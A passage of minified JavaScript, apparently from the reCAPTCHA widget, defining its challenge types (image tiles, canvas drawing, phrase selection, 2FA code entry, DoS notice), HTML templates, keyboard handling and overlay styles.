a){(a={selected:!1,element:Z,vl:!1},U.push(a),y)(this).R(new od(Z),"action",h(this.P,this,a))},this),document),"td","rc-imageselect-tile",F),w)(S,function(Z){w((y(this).R(Z,["focus","blur"],h(this.dM,this)),y(this).R(Z,"keydown",h(this.MM,this,x)),sp(document,"img",null,Z)),function(a){F7(this,a,"src")},this)},this),tH)(document,"rc-imageselect"),j7)(S)||Gk(S,"keydown",h(this.MM,this,x)),this.L.B).V={rowSpan:N,colSpan:x,Pu:U,WV:0,cE:[]},F},function(F){f.prototype.L4.call(this,F),this.X=this.F("rc-imageselect-payload")}),
function(){(this.w=tn((f.prototype.Z.call(this),cT)),this).L4(this.M())}),function(F,N,x,S){if(37==N.keyCode||39==N.keyCode||38==N.keyCode||40==N.keyCode||9==N.keyCode)if(this.RM=!0,9!=N.keyCode){if((S=(w(lt("TABLE"),(x=[],function(U){"none"!==R_(U,"display")&&w(WL("rc-imageselect-tile",U),function(Z){x.push(Z)})})),x).length-1,0<=this.hX)&&x[this.hX]==d7(document))switch(S=this.hX,N.keyCode){case 37:S--;break;case 38:S-=F;break;case 39:S++;break;case 40:S+=F;break;default:return}(0<=S&&S<x.length?
x[S].focus():S>=x.length&&tH(document,"recaptcha-verify-button").focus(),N).preventDefault(),N.L()}}),function(F,N){return w(F.L.B.V.Pu,(N=[],function(x,S){x.selected&&N.push(S)})),N}),mp=function(F,N,x,S,U){return S=(F=new b((S=new b((U=1/N,(F=(S=4==N&&4==x?1:2,Tg(F.C).width-14),x-1)*S*2),(N-1)*S*2),F-S.width),F-S.height),1)/x,F.width*=S,F.height*="number"===typeof U?U:S,F.floor(),{Wr:F.height+"px",FD:F.width+"px",rowSpan:N,colSpan:x}},pz=((YI.prototype.dM=function(){this.RM&&(this.hX=void 0,w(WL("rc-imageselect-tile"),
function(F,N){F!=d7(document)?G1(F,"rc-imageselect-keyboard"):(this.hX=N,z1(F,"rc-imageselect-keyboard"))},this))},YI).prototype.K4=function(F){(this.response.response=Ox(this),F=$I(this),F.length)?this.response.plugin="class"+F[0]:0<this.L.B.V.cE.length&&(this.response.plugin="class")},function(F,N){C(d("rc-imageselect-progress",void 0),"width",100-F/N*100+"%")}),Jy=(T=YI.prototype,YI.prototype.Y=function(){y((f.prototype.Y.call(this),y(this).R(d("rc-imageselect-tabloop-end",void 0),"focus",function(){fV(["rc-imageselect-tile"])}),
this)).R(d("rc-imageselect-tabloop-begin",void 0),"focus",function(){fV(["verify-button-holder"])})},function(F){this.$=((YI.call(this,F),this).K=1,[[]])}),$I=function(F,N){return w((N=[],F.L.B).V.cE,function(x,S){x.selected&&N.push(S)}),N};
((q((T.DR=(T.JX=function(F,N,x){return(x=["rc-imageselect-error-select-more","rc-imageselect-incorrect-response","rc-imageselect-error-dynamic-more"],!F)&&N||w(x,function(S){S=d(S,void 0),S!=N&&this.QW(!1,S)},this),N?f.prototype.JX.call(this,F,N):!1},(T.tX=(T.MY=function(F){gZ(F,T0,{Xj:this.jf()})},function(F){return new (F=Math.max((F=this.I||Ig(),Math.min(F.height-194,400,F.width)),300),b)(F,180+F)}),T.Fa=function(F){if(0==(F=this.L.B.V.WV,F)||F<this.oM)return this.QW(!0,d("rc-imageselect-error-select-more",
void 0)),!0;if(this.L.B.V.cE.length){if(DD(this.L.B.element,"rc-imageselect-table-shrink"))return!1;return!(z1(this.L.B.element,"rc-imageselect-table-shrink"),0)}return!1},YI).prototype.Wu=function(F,N,x,S,U){return(ql((Rg(this,((null!=(1==n((this.oM=n((this.E3=(this.q0=N,N=M(this.q0,mA,1),n)(N,1),N),3)||1,S="image/png",N),6)&&(S="image/jpeg"),U=n(N,7),U)&&(U=U.toLowerCase()),gZ(this.X,WT,{label:this.E3,jV:n(N,2),nW:S,jY:this.jf(),Ak:U}),this.X).innerHTML=this.X.innerHTML.replace(".",""),this.L.B.element=
document.getElementById("rc-imageselect-target"),this.tX()),!0),this)),mL(this.xE(this.Qz(F)))).then(h(function(){x&&this.QW(!0,d("rc-imageselect-incorrect-response",void 0))},this))},function(){this.J.M()&&this.J.M().focus()}),Jy),YI),Jy.prototype.rV=function(){x7((this.QW(!1),this).hk.M(),!0)},Jy).prototype.xE=function(F,N,x,S){return y((S=d("rc-canvas-image",(x=(this.K=(((N=d("rc-canvas-canvas",(IJ((F=tn(Ex,(this.$=[[]],{zx:F})),d("rc-imageselect-target",void 0)),F),void 0)),N.width=Tg(this.C).width-
14,N).height=N.width,F.style).height=kH(N.height),N.width/386),N).getContext("2d"),void 0)),Gk(S,"load",function(){x.drawImage(S,0,0,N.width,N.height)}),this)).R(new od(N),"action",h(function(U){this.rV(U)},this)),F},Jy).prototype.K4=function(F,N,x,S,U){for(F=(N=0,[]);N<this.$.length;N++){for(x=(S=0,[]);S<this.$[N].length;S++)U=this.$[N][S],U=Ep(new H9(U.x,U.l),1/this.K).round(),x.push({x:U.x,y:U.l});F.push(x)}this.response.response=F};
function Kz(F,N,x,S){return[(S=F.x-(x=N.l-F.l,N).x,x),S,x*F.x+S*F.l]}function hy(F,N){return 1E-5>=Math.abs(F.x-N.x)&&1E-5>=Math.abs(F.l-N.l)}
var wL=function(){Jy.call(this,"canvas")},Ay=((T=(q(wL,Jy),wL).prototype,T).Fa=function(F,N,x,S,U){if(!(F=2>=this.$[0].length)){for(N=F=0;N<this.$.length;N++)for(U=0,x=this.$[N],S=x.length-1;U<x.length;U++)F+=(x[S].x+x[U].x)*(x[S].l-x[U].l),S=U;F=500>Math.abs(.5*F)}return F?(this.QW(!0,d("rc-imageselect-error-select-something",void 0)),!0):!1},T.FO=function(F){0!=(F=(F=this.$.length-1,0==this.$[F].length&&0!=F&&this.$.pop(),this.$.length-1),this.$[F].length)&&this.$[F].pop(),this.ef()},function(){Jy.call(this,
"multiselect")}),sx=((((q(((T.rV=(T.MY=function(F){gZ(F,Z9)},function(F,N,x,S,U,Z,a,c,H,W,E){if(x=(N=(F=new H9((N=os((N=d("rc-canvas-canvas",(Jy.prototype.rV.call(this,F),void 0)),N)),F.clientX)-N.x,F.clientY-N.l),this.$[this.$.length-1]),3)<=N.length)S=N[0],x=F.x-S.x,S=F.l-S.l,x=15>Math.sqrt(x*x+S*S);a:{if(2<=N.length)for(S=N.length-1;0<S;S--)if(a=N[N.length-1],Z=N[S],c=F,U=N[S-1],H=Kz(U,Z),W=Kz(a,c),H==W?U=!0:(E=H[0]*W[1]-W[0]*H[1],1E-5>=Math.abs(E-0)?U=!1:(H=Ep(new H9(W[1]*H[2]-H[1]*W[2],H[0]*
W[2]-W[0]*H[2]),1/E),hy(H,U)||hy(H,Z)||hy(H,a)||hy(H,c)?U=!1:(a=new qK(a.x,a.l,c.x,c.l),a=Pn(a,P9(Tc(a,H.x,H.l),0,1)),U=new qK(U.x,U.l,Z.x,Z.l),U=hy(H,Pn(U,P9(Tc(U,H.x,H.l),0,1)))&&hy(H,a)))),U){S=x&&1==S;break a}S=!0}S?(x?(N.push(N[0]),this.$.push([])):N.push(F),this.ef()):(this.ef(F),D(this.ef,250,this))}),T).ef=function(F,N,x,S,U){for(((N=d("rc-canvas-canvas",void 0),x=N.getContext("2d"),S=d("rc-canvas-image",void 0),x.drawImage(S,0,0,N.width,N.height),x).strokeStyle="rgba(100, 200, 100, 1)",x).lineWidth=
2,X&&(x.setLineDash=L()),N=0;N<this.$.length;N++)if(S=this.$[N].length,0!=S){for((N==this.$.length-1&&(F&&(x.beginPath(),x.strokeStyle="rgba(255, 50, 50, 1)",x.moveTo(this.$[N][S-1].x,this.$[N][S-1].l),x.lineTo(F.x,F.l),x.setLineDash([0]),x.stroke(),x.closePath()),x.strokeStyle="rgba(255, 255, 255, 1)",x.beginPath(),x.fillStyle="rgba(255, 255, 255, 1)",x.arc(this.$[N][S-1].x,this.$[N][S-1].l,3,0,2*Math.PI),x.fill(),x.closePath()),x.beginPath(),x).moveTo(this.$[N][0].x,this.$[N][0].l),U=1;U<S;U++)x.lineTo(this.$[N][U].x,
this.$[N][U].l);((((x.fillStyle="rgba(255, 255, 255, 0.4)",x.fill(),x.setLineDash([0]),x).stroke(),x).lineTo(this.$[N][0].x,this.$[N][0].l),x).setLineDash([10]),x).stroke(),x.closePath()}},Ay),Jy),Ay.prototype).ef=function(F,N,x,S,U){for(S=((F=((x=((x=d("rc-canvas-image",(N=(F=d((0==this.$.length?pz(0,1):pz(this.$.length-1,3),"rc-canvas-canvas"),void 0),F).getContext("2d"),void 0)),N).drawImage(x,0,0,F.width,F.height),document).createElement("canvas"),x).width=F.width,x.height=F.height,x).getContext("2d"),
F).fillStyle="rgba(100, 200, 100, 1)",0);S<this.$.length;S++)for(S==this.$.length-1&&(F.fillStyle="rgba(255, 255, 255, 1)"),U=0;U<this.$[S].length;U++)F.beginPath(),F.arc(this.$[S][U].x,this.$[S][U].l,20,0,2*Math.PI),F.fill(),F.closePath();(N.drawImage(x,0,(N.globalAlpha=.5,0)),N).globalAlpha=1},Ay).prototype.rV=function(F,N){(e1(this,((N=os((N=d((Jy.prototype.rV.call(this,F),"rc-canvas-canvas"),void 0),N)),this).$[this.$.length-1].push(new H9(F.clientX-N.x,F.clientY-N.l)),"Next")),this).ef()},Ay).prototype.FO=
function(F){(0!=(F=this.$.length-1,this.$[F].length)&&this.$[F].pop(),0==this.$[F].length)&&e1(this,"None Found",!0),this.ef()},function(){return R('Type your best guess of the text shown. To get a new challenge, click the reload icon. <a href="https://support.google.com/recaptcha" target="_blank">Learn more.</a>')}),X7=function(F){return R((F='<img src="'+k(L7(F.Qz))+'" alt="',F+="reCAPTCHA challenge image".replace(ad,cX),F+'"/>'))},lx=function(F,N,x){(gZ((N=d("rc-imageselect-desc-wrapper",("/m/0k4j"==
n(M(F.q0,mA,(x=(N=["/m/0k4j","/m/04w67_","TileSelectionStreetSign"],["TileSelectionStreetSign","/m/0k4j","/m/04w67_"]),1)),1)&&(x=N),void 0)),v9(N),N),Lz,{label:x[F.$.length-1],jY:"multiselect"}),ql)(F)},ty=((Ay.prototype.MY=function(F){gZ(F,a5)},Ay.prototype.xE=function(F){return e1(this,"None Found",!(pz(0,(lx((F=Jy.prototype.xE.call(this,F),this)),1)),0)),F},Ay.prototype).Fa=function(){if(this.$.push([]),this.ef(),3<this.$.length)return!1;return e1(this,(lx((D(function(){this.Sf(!0)},500,(this.Sf(!1),
this)),this)),x7(this.hk.M(),!1),"None Found"),!0),!0},function(F){return(F=(F='<div tabindex="0"></div><div class="'+k("rc-defaultchallenge-response-field")+'"></div><div class="'+k("rc-defaultchallenge-payload")+'"></div><div class="'+k("rc-defaultchallenge-incorrect-response")+'" style="display:none">',F+"Multiple correct solutions required \u2013 please solve more.</div>"+Qj(B_())),R)(F)}),gL=new b(300,185),nz=function(){Wl(this,(this.L=(Wl((this.$=((f.call(this,gL.width,gL.height,"default"),
this).X=null,new Nl),this),this.$),new LL),this.L))},BT=((q(nz,f),T=nz.prototype,T).Y=function(){y((y(((f.prototype.Y.call(this),this.X=this.F("rc-defaultchallenge-payload"),this.$.render(this.F("rc-defaultchallenge-response-field")),this.$.M()).setAttribute("id","default-response"),cI(this.L,this.$.M()),this)).R(this.L,"key",this.Mr),this)).R(this.$.M(),"keyup",this.Hb)},function(F){return R((F=(F=(F='<div><div class="'+k("rc-doscaptcha-header")+'"><div class="'+k("rc-doscaptcha-header-text")+'">',
F)+'Try again later</div></div><div class="'+(k("rc-doscaptcha-body")+'"><div class="'+k("rc-doscaptcha-body-text")+'" tabIndex="0">'),F+'Your computer or network may be sending automated queries. To protect our users, we can\'t process your request right now. For more details visit <a href="https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-queries" target="_blank">our help page</a></div></div></div><div class="'+(k("rc-doscaptcha-footer")+'">'+Qj(B_())+
"</div>")),F))}),rL=new b(((T.Mr=function(F){13==F.keyCode&&j1(this)},(T.K4=(T.Hb=function(){0<id(this.$).length&&this.QW(!1)},function(){Db((this.response.response=id(this.$),this.$))}),T).Z=function(){(this.w=tn((f.prototype.Z.call(this),ty)),this).L4(this.M())},T).MY=((T.Fa=function(){return Ub(id(this.$))},T).DR=function(F,N){xw||S0||N4||(id(this.$)?this.$.M().focus():(F=this.$,N=bd(F),F.C=!0,F.M().focus(),N||vA()||(F.M().value=F.L),F.M().select(),vA()||(F.$&&Uv(F.$,F.M(),"click",F.bR),D(F.X,
10,F))))},T.JX=function(F,N){if(N)return xI(this.$,F),f.prototype.JX.call(this,F,N);return this.QW(F,d("rc-defaultchallenge-incorrect-response",void 0)),!1},function(F){gZ(F,sx)}),T.Wu=function(F,N,x){return(gZ((Db((this.QW(!!x),this.$)),this).X,X7,{Qz:this.Qz(F)}),lF)()},300),250),vT=function(){f.call(this,rL.width,rL.height,"doscaptcha")},G0=((q(vT,f),vT.prototype).Z=function(){((f.prototype.Z.call(this),this).w=tn(BT),this).L4(this.M())},vT.prototype.Wu=function(F,N,x){return((x=(N=(F=(this.Sf(!1),
this.F("rc-doscaptcha-header-text")),this.F("rc-doscaptcha-body")),this.F("rc-doscaptcha-body-text")),F)&&Vc(F,-1),N&&x&&(F=iJ(N).height,Vc(x,F)),lF)()},function(F){this.i9=(this.UE=(this.kE=(YI.call(this,F),[]),[]),!1)}),Ml=(((q(G0,(vT.prototype.gV=(vT.prototype.K4=function(){this.response.response=""},function(F){F&&this.F("rc-doscaptcha-body-text").focus()}),YI)),G0.prototype).reset=function(){((this.i9=!1,this).kE=[],this).UE=[]},G0).prototype.Wu=function(F,N,x){return(this.reset(),YI.prototype).Wu.call(this,
F,N,x)},function(F,N){return(N=F.UE,F).UE=[],N}),bx=function(F){F.UE.length&&!F.i9&&(F.i9=!0,F.dispatchEvent("f"))},dL=function(){this.sE=((this.K=(G0.call(this,"multicaptcha"),[]),this).cu=0,this.PV=[],!1),this.$=[]},D9=(((q(dL,G0),dL.prototype).reset=function(){this.cu=(this.$=(G0.prototype.reset.call(this),[]),this.PV=[],this.sE=!1,this.K=[],0)},dL).prototype.Wu=function(F,N,x,S){return e1(this,(N=n((N=M((F=(this.PV=(v((S=F5(M(N,K_,5),mA,1)[0],N),1,S),x=G0.prototype.Wu.call(this,F,N,x),F5(M(N,
K_,5),mA,1)),this.$.push(this.Qz(F,"2")),this.$),N),K_,5),N),2),TZ(F,N),"Skip")),x},function(){this.$=(this.K=(G0.call(this,"dynamic"),{}),0)}),Cz=function(F,N,x,S){return z1(N,4==(z1((z1(N,(S=(F.Sf((x=d7(document),!1)),void 0)!==N.previousElementSibling?N.previousElementSibling:Vy(N.previousSibling,!1),"rc-imageselect-carousel-offscreen-right")),S),"rc-imageselect-carousel-leaving-left"),F).L.B.V.rowSpan&&4==F.L.B.V.colSpan?"rc-imageselect-carousel-mock-margin-1":"rc-imageselect-carousel-mock-margin-2"),
mL(N).then(h(function(){D(function(){D(function(U,Z){for(U=(U=(Z=(yy((G1(N,(G1(N,"rc-imageselect-carousel-entering-right"),4==this.L.B.V.rowSpan&&4==this.L.B.V.colSpan?"rc-imageselect-carousel-mock-margin-1":"rc-imageselect-carousel-mock-margin-2")),S)),this.Sf(!0),x&&x.focus(),0),this.L.B).V,U.WV=0,U).Pu;Z<U.length;Z++)U[Z].selected=!1,G1(U[Z].element,"rc-imageselect-tileselected")},((G1((G1(N,"rc-imageselect-carousel-offscreen-right"),S),"rc-imageselect-carousel-leaving-left"),z1)(N,"rc-imageselect-carousel-entering-right"),
z1(S,"rc-imageselect-carousel-offscreen-left"),600),this)},100,this)},F))},ix=function(F,N,x){z1(Y9(F.F("rc-imageselect-target")),"rc-imageselect-carousel-leaving-left"),F.cu>=F.$.length||(N=F.xE(F.$[F.cu]),F.cu+=1,x=F.PV[F.cu],Cz(F,N).then(h(function(S){((((S=d("rc-imageselect-desc-wrapper",void 0),v9)(S),gZ)(S,HT,{label:n(x,1),jY:"multicaptcha",Ak:n(x,7)}),S).innerHTML=S.innerHTML.replace(".",""),ql)(this)},F)),e1(F,"Skip"),G1(d("rc-imageselect-carousel-instructions",void 0),"rc-imageselect-carousel-instructions-hidden"))},
yW=(((((dL.prototype.Fa=function(){if((this.QW(!1),this.K.push([]),w(this.L.B.V.Pu,function(F,N){F.selected&&this.K[this.K.length-1].push(N)},this),this).sE)return!1;return!(ix((bx((this.UE=Eh(this.K),this)),this)),0)},dL.prototype.P=function(F){(G0.prototype.P.call(this,F),0)<this.L.B.V.WV?(z1(d("rc-imageselect-carousel-instructions",void 0),"rc-imageselect-carousel-instructions-hidden"),this.sE?e1(this):e1(this,"Next")):(G1(d("rc-imageselect-carousel-instructions",void 0),"rc-imageselect-carousel-instructions-hidden"),
e1(this,"Skip"))},dL.prototype).K4=(dL.prototype.GG=function(F,N){(TZ((TZ(this.$,(0==F.length&&(this.sE=!0),F)),this.PV),N),this).K.length==this.$.length+1-F.length&&(this.sE?this.dispatchEvent("k"):ix(this))},function(){this.response.response=this.K}),q)(D9,G0),D9).prototype.reset=function(){(G0.prototype.reset.call(this),this).K={},this.$=0},D9.prototype.K4=function(){this.response.response=this.kE},D9.prototype).Fa=function(F,N,x){if(!G0.prototype.Fa.call(this)){if(!this.i9)for(F=Y(this.kE),N=
F.next();!N.done;N=F.next())if(x=this.K,null!==x&&N.value in x)return!1;this.QW(!0,d("rc-imageselect-error-dynamic-more",void 0))}return!0},function(F,N,x,S){for(x=(N='<div class="'+k((F=F.cb,"rc-prepositional-attribution"))+'">',F.length),N+="Sources: ",S=0;S<x;S++)N+='<a target="_blank" href="'+k(Fv(F[S]))+'">'+Qj(S+1)+"</a>"+(S!=x-1?",":"")+" ";return R(N+'(CC BY-SA)</div>For each phrase above, select it if it sounds somehow incorrect. Do not select phrases that have grammatical problems or seem nonsensical without other context. <a href="https://support.google.com/recaptcha" target="_blank">Learn more.</a>')}),
jI=(D9.prototype.Wu=function(F,N,x){return this.$=n(M((F=G0.prototype.Wu.call(this,F,N,x),N),$1,3),2)||0,F},D9.prototype.P=function(F,N){(N=xo(this.L.B.V.Pu,F),-1==xo(this.kE,N))&&(this.QW(!1),F.selected||(++this.L.B.V.WV,F.selected=!0,this.$&&C(F.element,"transition","opacity "+(this.$+1E3)/1E3+"s ease"),z1(F.element,"rc-imageselect-dynamic-selected"),F=xo(this.L.B.V.Pu,F),TZ(this.UE,F),bx(this)))},function(F){D((C(d("rc-image-tile-overlay",F.element),{opacity:"0.5",display:"block",top:"0px"}),function(){C(d("rc-image-tile-overlay",
F.element),"opacity","0")}),100)}),QW=(D9.prototype.GG=function(F,N,x,S,U){for(S=(x=Y((N={},R5(this))),x.next());!S.done;N={Jk:N.Jk,N0:N.N0,vE:N.vE},S=x.next()){if(0==(S=S.value,F.length))break;((S=(Mj((U=mp(this,(this.kE.push(S),this.L).B.V.rowSpan,this.L.B.V.colSpan),U),{v6:0,hM:0,rowSpan:1,colSpan:1,zx:F.shift()}),N.vE=vr(U),N.Jk=this.K[S]||S,this.L.B.V.Pu.length),N.N0={selected:!0,element:this.L.B.V.Pu[N.Jk].element},this.L).B.V.Pu.push(N.N0),D)(h(function(Z){return function(a){y(((((v9((this.K[a]=
Z.Jk,Z.N0).element),Z.N0.element).appendChild(Z.vE),jI)(Z.N0),Z.N0.selected=!1,G1)(Z.N0.element,"rc-imageselect-dynamic-selected"),this)).R(new od(Z.N0.element),"action",eE(this.P,Z.N0))}}(N),this,S),this.$+1E3)}},function(F,N,x,S){for(x=(N=(F=F.text,'<div class="'+k("rc-prepositional-challenge"))+'"><div id="rc-prepositional-target" class="'+k("rc-prepositional-target")+'" dir="ltr"><div tabIndex="0" class="'+k("rc-prepositional-instructions")+'"></div><table class="'+k("rc-prepositional-table")+
'" role="region">',Math).max(0,Math.ceil(F.length-0)),S=0;S<x;S++)N+='<tr role="presentation"><td role="checkbox" tabIndex="0">'+Qj(F[1*S])+"</td></tr>";return R(N+"</table></div></div>")}),R5=function(F,N){return w(F.L.B.V.Pu,(N=[],function(x,S){x.selected&&-1==xo(this.kE,S)&&N.push(S)}),F),N},kI=function(F){return R((F=(F=(F='<div id="rc-prepositional"><span class="'+k("rc-prepositional-tabloop-begin")+'" tabIndex="0"></span><div class="'+k("rc-prepositional-select-more")+'" style="display:none" tabindex="0">',
F)+'Please fill in the answers to proceed</div><div class="'+(k("rc-prepositional-verify-failed")+'" style="display:none" tabindex="0">'),F+'Please try again</div><div class="'+(k("rc-prepositional-payload")+'"></div>'+Qj(B_())+'<span class="'+k("rc-prepositional-tabloop-end")+'" tabIndex="0"></span></div>')),F))},ux=new b(350,410),z0=function(){((this.$=(this.X=this.L=(f.call(this,ux.width,ux.height,"prepositional",!0),null),[]),this).P=0,this).K=null},I5=(q(z0,f),T=z0.prototype,T.Z=function(){((f.prototype.Z.call(this),
this).w=tn(kI),this).L4(this.M())},T.Wu=function(F,N,x){return((F=d("rc-prepositional-instructions",((F=M(N,mA,((this.$=[],this).L=M(N,X6,7),1)))&&n(F,3)&&(this.P=n(F,3)),gZ(this.X,QW,{text:n(this.L,1)}),void 0)),this.K=.5>Math.random(),Mu)(F,this.K?"Select the phrases that are improperly formed:":"Select the phrases that sound incorrect:"),this.QW(!1),Qp)(this,h(function(){I5((Rg(this,this.tX()),this)),x&&this.QW(!0,this.F("rc-prepositional-verify-failed"))},this)),lF()},T.DR=function(){this.F("rc-prepositional-instructions").focus()},
function(F,N,x){w((N=d("rc-prepositional-target",void 0),x=[],sp)(document,"td",null,N),function(S,U,Z){xb(S,((Z={selected:!1,element:(this.$.push(U),S),index:U},x.push(Z),y)(this).R(new od(S),"action",h(this.oc,this,Z)),"checked"),"false")},F)}),eI=(T=((T.L4=function(F){this.X=(f.prototype.L4.call(this,F),this.F("rc-prepositional-payload"))},T).Y=function(){(f.prototype.Y.call(this),y)(this).R(this.F("rc-prepositional-tabloop-begin"),"focus",function(){fV()}).R(this.F("rc-prepositional-tabloop-end"),
"focus",function(){fV(["rc-prepositional-select-more","rc-prepositional-verify-failed","rc-prepositional-instructions"])})},z0).prototype,T.K4=function(){(this.response.response=this.$,this.response).plugin=this.K?"if":"si"},function(){return R(Qj(B_()))}),fz=(T.oc=(T.tX=function(F,N){return new (N=iJ((F=this.I||Ig(),this).X),b)(Math.max(Math.min(F.width-10,ux.width),280),N.height+60)},function(F,N){(this.QW(!1),(N=!F.selected)?(z1(F.element,"rc-prepositional-selected"),SU(this.$,F.index)):(G1(F.element,
"rc-prepositional-selected"),this.$.push(F.index)),F).selected=N,xb(F.element,"checked",F.selected?"true":"false")}),T.MY=function(F){gZ(F,yW,{cb:n(this.L,2)})},T.JX=function(F,N,x){return(!(x=["rc-prepositional-select-more","rc-prepositional-verify-failed"],F)&&N||w(x,function(S){S=this.F(S),S!=N&&this.QW(!1,S)},this),N)?f.prototype.JX.call(this,F,N):!1},T.Fa=function(){return n(this.L,1).length-this.$.length<this.P?(this.QW(!0,this.F("rc-prepositional-select-more")),!0):!1},function(){f.call(this,
0,0,"nocaptcha")}),FJ=((q(fz,f),fz.prototype).Z=function(){this.w=(f.prototype.Z.call(this),tn(eI)),this.L4(this.M())},fz.prototype.Wu=function(){return lF()},function(F,N,x,S,U){return(F=((N=(F=(F='<div style="font-family: '+k((x=(S=F.IM,U=(N=F.identifier,F.cr),F.Ob),T6)(F.font))+'"><div class="'+k("rc-2fa-header")+'" style="background-color: '+k(T6(S))+'">',F)+'Verify your account</div><div class="'+(k("rc-2fa-instructions")+'" tabindex="0">'),"To protect your <strong>")+(Qj(x)+("</strong> account, please enter the code sent to <strong>"+
(Qj(N)+"</strong>"))),F=F+N+"</div>",U)&&(F+='<div class="'+k("rc-2fa-error-message")+'" tabIndex="0">',F+="Incorrect code. Please try again.</div>"),F+='<div class="'+k("rc-2fa-response-field")+'"></div><div class="'+k("rc-2fa-checkbox")+'"></div><span>',F+'remember this account with reCAPTCHA</span><div class="'+(k("rc-2fa-footer")+'"><img src="https://www.gstatic.com/recaptcha/api2/logo_48.png"/><div>reCAPTCHA</div><a href="https://policies.google.com/privacy">')),R)(F+'Privacy</a> - <a href="https://policies.google.com/terms">Terms</a></div></div>')}),
NZ=function(){this.X=(Wl(this,((Wl(this,(this.$E=(Wl(this,(this.$=new (f.call(this,0,0,"2fa"),Nl)(""),this.$)),new nO),this.$E)),this).L=new LL,this.L)),null)},xM=((fz.prototype.gV=function(F){F&&j1(this)},fz).prototype.K4=function(F){this.response.response="",(F=this.I)&&(this.response.s=u6(""+F.width+F.height))},function(){return R('<div class="rc-2fa"><span class="'+k("rc-2fa-tabloop-begin")+'" tabIndex="0"></span><div class="'+k("rc-2fa-payload")+'"></div><div id="'+k("rc-response-label")+'" style="display:none"></div><span class="'+
k("rc-2fa-tabloop-end")+'" tabIndex="0"></span></div>')}),St=((((((((((q(NZ,f),T=NZ.prototype,T).Z=function(){(this.w=tn((f.prototype.Z.call(this),xM)),this).L4(this.M())},T.L4=function(){this.X=this.F("rc-2fa-payload")},T.Y=function(){y(((y(this).R(d("rc-2fa-tabloop-begin"),"focus",function(){fV()}).R(d("rc-2fa-tabloop-end"),"focus",function(){fV(["rc-2fa-error-message","rc-2fa-instructions"])}),cI)(this.L,document),this)).R(this.L,"key",this.EC)},T).EC=function(F){13==F.keyCode&&j1(this,"l")},T).QW=
L(),T).Wu=function(F,N,x,S){return((((F=(x=(Rg(this,((N=(F=M(N,(S=this,tL),10),M(F,n_,4)||new n_),gZ)(this.X,FJ,{identifier:n(F,1),Ob:n(F,2)||"reCAPTCHA",font:n(N,2)||"Roboto",IM:n(N,1)||"#4a90e2",cr:x}),this).tX(),!0),this).F("rc-2fa-checkbox"),this.$E.render(x),zg("DIV")),z1(F,"rc-2fa-checkbox-background"),x).appendChild(F),this.$.render(this.F("rc-2fa-response-field")),this.$).M().setAttribute("maxlength",6),y)(this).R(this.$.M(),"input",function(){6==id(S.$).length&&(S.$.M().setSelectionRange(0,
0),CO(S.$,!1),setTimeout(function(){j1(S,"l")},0))}),Db)(this.$),CO(this.$,!0),lF()},T).Fa=function(){return Ub(id(this.$))?(this.F("rc-2fa-instructions").focus(),!0):!1},T).Sf=L(),T).tX=function(){return this.I?new b(this.I.width,this.I.height):new b(0,0)},T).K4=function(){(this.response.pin=id(this.$),this).response.remember=this.$E.C4(),CO(this.$,!1)},T).DR=function(F){!(F=yD(this,"rc-2fa-error-message")||yD(this,"rc-2fa-instructions"),F)||Um&&0<=Hw(UA,10)||F.focus()},function(F){switch(F){case "default":return new nz;
case "nocaptcha":return new fz;case "doscaptcha":return new vT;case "imageselect":return new YI;case "tileselect":return new YI("tileselect");case "dynamic":return new D9;case "audio":return new Ux;case "multicaptcha":return new dL;case "canvas":return new wL;case "multiselect":return new Ay;case "prepositional":return new z0;case "2fa":return new NZ}}),op={normal:new b(304,78),compact:new b(164,144),invisible:new b(256,60)},U4={border:"11px solid transparent",width:"0",height:"0",position:"absolute",
"pointer-events":"none","margin-top":"-11px","z-index":"2000000000"},ZS=function(F,N){this.X=(this.o=(this.yW=this.oK=(this.C=(this.aK=(xH.call(this),F),N),this).$=this.I=this.L=null,f0()),this.G=null)},ap={"background-color":"#fff",border:"1px solid #ccc","box-shadow":"2px 2px 3px rgba(0, 0, 0, 0.2)",position:"absolute",transition:"visibility 0s linear 0.3s, opacity 0.3s linear",opacity:"0",visibility:"hidden","z-index":"2000000000",left:"0px",top:"-10000px"},c5={border:"10px solid transparent",
width:"0",height:"0",position:"absolute","pointer-events":"none","margin-top":"-10px","z-index":"2000000000"},LR={margin:"0px","margin-top":"-4px",padding:"0px",background:"#f9f9f9",border:"1px solid #c1c1c1","border-radius":"3px",height:"60px",width:"300px"},H5={margin:"0 auto",top:"0px",left:"0px",right:"0px",position:"absolute",border:"1px solid #ccc","z-index":"2000000000","background-color":"#fff",overflow:"hidden"},W5={"z-index":"2000000000",position:"relative"},P5={width:"100%",height:"100%",
position:"fixed",top:"0px",left:"0px","z-index":"2000000000","background-color":"#fff",opacity:"0.05",filter:"alpha(opacity=5)"},Tr={visibility:"hidden",position:"absolute",width:"100%",top:"-10000px",left:"0px",right:"0px",transition:"visibility 0s linear 0.3s, opacity 0.3s linear",opacity:"0"},E4={width:"250px",height:"40px",border:"1px solid #c1c1c1",margin:"10px 25px",padding:"0px",resize:"none",display:"none"},V$={width:"100%",height:"100%",position:"fixed",top:"0px",left:"0px","z-index":"2000000000",
"background-color":"#fff",opacity:"0.5",filter:"alpha(opacity=50)"},$M=(q(ZS,xH),function(F,N,x,S){(C((S="visible"==fL(F.$,"visibility"),F.$),{visibility:N?"visible":"hidden",opacity:N?"1":"0",transition:N?"visibility 0s linear 0s, opacity 0.3s linear":"visibility 0s linear 0.3s, opacity 0.3s linear"}),S)&&!N?F.X=D(function(){C(this.$,"top","-10000px")},500,F):N&&(iF(F.X),C(F.$,"top","0px")),x&&(uJ(YM(F),x.width,x.height),uJ(B9(YM(F)),x.width,x.height))}),qZ=function(F,N){return(N=(F=g7(window).width,
qu().innerWidth))&&N<F&&(F=N),new b(F,Math.max(g7(window).height,qu().innerHeight||0))},O4=((ZS.prototype.N=function(){25<f0()-this.o?(KR(this),this.o=f0()):(iF(this.G),this.G=D(this.N,25,this))},ZS.prototype).H=function(F){((this.$=(this.yW=F=void 0===F?"fullscreen":F,zg("DIV")),"fullscreen")==F?(C(this.$,Tr),F=zg("DIV"),C(F,V$),this.$.appendChild(F),F=zg("DIV"),C(F,H5),this.$.appendChild(F)):"bubble"==F&&(C(this.$,ap),F=zg("DIV"),C(F,P5),this.$.appendChild(F),F=zg("DIV"),C(F,U4),z1(F,"g-recaptcha-bubble-arrow"),
